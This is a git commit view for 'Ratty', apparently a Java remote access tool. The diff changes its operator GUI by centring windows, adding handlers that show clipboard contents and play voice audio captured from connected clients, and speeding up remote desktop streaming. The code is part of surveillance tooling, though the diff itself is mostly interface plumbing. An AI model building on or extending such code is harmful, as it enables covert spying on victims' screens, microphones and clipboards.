Browse Source

Small changes

Much faster desktop stream
Some minor cleanups
master
Sogomn 9 years ago
parent
commit
4cd28183fc
  1. 2
      Ratty/src/de/sogomn/rat/server/gui/FileTree.java
  2. 2
      Ratty/src/de/sogomn/rat/server/gui/RattyGui.java
  3. 31
      Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java
  4. 5
      Ratty/src/de/sogomn/rat/server/gui/ServerClient.java
  5. 6
      Ratty/src/de/sogomn/rat/util/FrameEncoder.java

2
Ratty/src/de/sogomn/rat/server/gui/FileTree.java

@ -94,7 +94,7 @@ public final class FileTree extends AbstractListenerContainer<IGuiController> {
frame.setPreferredSize(DEFAULT_SIZE);
frame.setContentPane(scrollPane);
frame.pack();
frame.setLocationByPlatform(true);
frame.setLocationRelativeTo(null);
}
private void addMenuItem(final String name, final Icon icon) {

2
Ratty/src/de/sogomn/rat/server/gui/RattyGui.java

@ -126,7 +126,7 @@ public final class RattyGui extends AbstractListenerContainer<IGuiController> {
frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
frame.setPreferredSize(SIZE);
frame.pack();
frame.setLocationByPlatform(true);
frame.setLocationRelativeTo(null);
frame.setIconImages(GUI_ICONS);
frame.setVisible(true);
frame.requestFocus();

31
Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java

@ -5,6 +5,7 @@ import java.io.File;
import java.util.HashMap;
import java.util.Set;
import de.sogomn.engine.fx.Sound;
import de.sogomn.rat.ActiveConnection;
import de.sogomn.rat.builder.StubBuilder;
import de.sogomn.rat.packet.AudioPacket;
@ -218,8 +219,6 @@ public final class RattyGuiController extends AbstractRattyController implements
packet = new DesktopPacket(true);
} else if (command == RattyGui.AUDIO) {
packet = createAudioPacket();
} else if (command == RattyGui.VOICE) {
packet = new VoicePacket();
} else if (command == FileTree.DOWNLOAD) {
packet = createDownloadPacket(client);
} else if (command == FileTree.UPLOAD) {
@ -234,6 +233,8 @@ public final class RattyGuiController extends AbstractRattyController implements
packet = client.displayPanel.getLastMouseEventPacket();
} else if (command == DisplayPanel.KEY_EVENT && client.isStreamingDesktop()) {
packet = client.displayPanel.getLastKeyEventPacket();
} else if (command == RattyGui.VOICE && !client.isStreamingVoice()) {
packet = new VoicePacket();
}
return packet;
@ -273,6 +274,24 @@ public final class RattyGuiController extends AbstractRattyController implements
client.displayPanel.showFrames(frames, screenWidth, screenHeight);
}
private void handleClipboardPacket(final ClipboardPacket packet) {
final String message = packet.getClipbordContent();
gui.showMessage(message);
}
private void handleVoicePacket(final ServerClient client, final VoicePacket packet) {
if (!client.isStreamingVoice()) {
return;
}
final Sound sound = packet.getSound();
final VoicePacket request = new VoicePacket();
client.connection.addPacket(request);
sound.play();
}
private boolean handlePacket(final ServerClient client, final IPacket packet) {
final Class<? extends IPacket> clazz = packet.getClass();
@ -290,6 +309,14 @@ public final class RattyGuiController extends AbstractRattyController implements
final DesktopPacket desktop = (DesktopPacket)packet;
handleDesktopPacket(client, desktop);
} else if (clazz == ClipboardPacket.class) {
final ClipboardPacket clipboard = (ClipboardPacket)packet;
handleClipboardPacket(clipboard);
} else if (clazz == VoicePacket.class) {
final VoicePacket voice = (VoicePacket)packet;
handleVoicePacket(client, voice);
} else {
consumed = false;
}

5
Ratty/src/de/sogomn/rat/server/gui/ServerClient.java

@ -25,6 +25,11 @@ final class ServerClient {
this.os = os;
this.version = version;
final String title = name + " " + getAddress();
displayPanel.setTitle(title);
fileTree.setTitle(title);
loggedIn = true;
}

6
Ratty/src/de/sogomn/rat/util/FrameEncoder.java

@ -18,6 +18,8 @@ import de.sogomn.engine.util.ImageUtils;
public final class FrameEncoder {
private static final int SKIP = 3;
private static final int CELLS_WIDE = 5;
private static final int CELLS_HIGH = 5;
private static final IFrame[] EMPTY_ARRAY = new IFrame[0];
@ -89,8 +91,8 @@ public final class FrameEncoder {
final int cellEndY = cellY + cellHeight;
outer:
for (int xx = cellX; xx < cellEndX && xx < width; xx++) {
for (int yy = cellY; yy < cellEndY && yy < height; yy++) {
for (int xx = cellX; xx < cellEndX && xx < width; xx += SKIP) {
for (int yy = cellY; yy < cellEndY && yy < height; yy += SKIP) {
final int previousRgb = previous.getRGB(xx, yy);
final int nextRgb = next.getRGB(xx, yy);

Loading…
Cancel
Save